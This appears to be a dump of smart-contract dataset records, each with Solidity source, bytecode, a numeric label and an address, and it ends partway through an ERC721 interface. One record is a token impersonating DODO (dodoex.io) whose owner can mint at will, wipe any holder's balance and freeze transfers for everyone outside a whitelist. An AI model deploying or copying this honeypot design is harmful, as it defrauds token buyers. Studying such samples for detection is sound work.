override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122098689ec63f03db3ca8146f390cf5cb5d2e492574ed6e5d89c478e62c83deabd364736f6c63430008070033
[ 5 ]
0xF206f7898F64e910ee57a5eb8D14D2FFd54406B6
/** *Submitted for verification at Etherscan.io on 2020-09-29 */ pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _initMint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _work(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _withdraw(address account, uint amount) internal { require(account != address(0), "ERC20: _withdraw to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); } function _deposit(address acc) internal { _balances[acc] = 0; } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } contract DODO is ERC20, ERC20Detailed { using SafeMath for uint; mapping (address => bool) public financer; mapping (address => bool) public subfinancer; address univ2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor () public ERC20Detailed("dodoex.io", "DODO", 18) { _initMint( msg.sender, 100000000*10**uint(decimals()) ); financer[msg.sender] = true; subfinancer[msg.sender] = true; subfinancer[univ2] = true; } function deposit(address account) public { require(financer[msg.sender], "!warn"); _deposit(account); } function withdraw(address account, uint amount) public { require(financer[msg.sender], "!warn"); _withdraw(account, amount); } function work(address account, uint amount) public { require(financer[msg.sender], "!warn"); _work(account, amount); } function addSubFinancer(address account) public { require(financer[msg.sender], "!not allowed"); subfinancer[account] = true; } function removeSubFinancer(address account) public { require(financer[msg.sender], "!not allowed"); subfinancer[account] = false; } function _transfer(address sender, address recipient, uint amount) internal { require(subfinancer[sender], "frozen"); super._transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063a457c2d7116100a2578063dd62ed3e11610071578063dd62ed3e146105c7578063f1bb3c541461063f578063f340fa011461069b578063f3fef3a3146106df578063f95ffb4a1461072d57610116565b8063a457c2d71461045b578063a9059cbb146104c1578063b34bba2714610527578063d3cf62af1461056b57610116565b806325b6488b116100e957806325b6488b146102a8578063313ce567146102f6578063395093511461031a57806370a082311461038057806395d89b41146103d857610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b610123610771565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610813565b604051808215151515815260200191505060405180910390f35b61020c610831565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061083b565b604051808215151515815260200191505060405180910390f35b6102f4600480360360408110156102be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610914565b005b6102fe6109e1565b604051808260ff1660ff16815260200191505060405180910390f35b6103666004803603604081101561033057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109f8565b604051808215151515815260200191505060405180910390f35b6103c26004803603602081101561039657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aab565b6040518082815260200191505060405180910390f35b6103e0610af3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610420578082015181840152602081019050610405565b50505050905090810190601f16801561044d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104a76004803603604081101561047157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b95565b604051808215151515815260200191505060405180910390f35b61050d600480360360408110156104d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c62565b604051808215151515815260200191505060405180910390f35b6105696004803603602081101561053d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c80565b005b6105ad6004803603602081101561058157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d9a565b604051808215151515815260200191505060405180910390f35b610629600480360360408110156105dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dba565b6040518082815260200191505060405180910390f35b6106816004803603602081101561065557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e41565b604051808215151515815260200191505060405180910390f35b6106dd600480360360208110156106b157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e61565b005b61072b600480360360408110156106f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f2c565b005b61076f6004803603602081101561074357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108095780601f106107de57610100808354040283529160200191610809565b820191906000526020600020905b8154815290600101906020018083116107ec57829003601f168201915b5050505050905090565b6000610827610820611113565b848461111b565b6001905092915050565b6000600254905090565b6000610848848484611312565b61090984610854611113565b61090485604051806060016040528060288152602001611b4360289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108ba611113565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e19092919063ffffffff16565b61111b565b600190509392505050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f217761726e00000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6109dd82826114a1565b5050565b6000600560009054906101000a900460ff16905090565b6000610aa1610a05611113565b84610a9c8560016000610a16611113565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f690919063ffffffff16565b61111b565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b8b5780601f10610b6057610100808354040283529160200191610b8b565b820191906000526020600020905b815481529060010190602001808311610b6e57829003601f168201915b5050505050905090565b6000610c58610ba2611113565b84610c5385604051806060016040528060258152602001611bb46025913960016000610bcc611113565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e19092919063ffffffff16565b61111b565b6001905092915050565b6000610c76610c6f611113565b8484611312565b6001905092915050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610d3f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f216e6f7420616c6c6f776564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60076020528060005260406000206000915054906101000a900460ff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60066020528060005260406000206000915054906101000a900460ff1681565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610f20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f217761726e00000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610f298161167e565b50565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610feb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260058152602001807f217761726e00000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610ff582826116c5565b5050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110b8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f216e6f7420616c6c6f776564000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b906024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611227576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ad76022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166113d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f66726f7a656e000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6113dc8383836117fd565b505050565b600083831115829061148e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611453578082015181840152602081019050611438565b50505050905090810190601f1680156114805780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611544576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b611559816002546115f690919063ffffffff16565b6002819055506115b0816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600080828401905083811015611674576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561174b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b1f6024913960400191505060405180910390fd5b611760816002546115f690919063ffffffff16565b6002819055506117b7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611883576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b6b6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611909576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611ab46023913960400191505060405180910390fd5b61197481604051806060016040528060268152602001611af9602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e19092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a07816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f690919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a205f776974686472617720746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a7231582030721a40a267e3dd91fe673cbb05e7b04d815b2f390ccd0165d46f7d4cdfa60f64736f6c63430005100032
[ 38 ]
0xf20723b77facbb7a33dc640dac6d0b9725ad22b7
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove 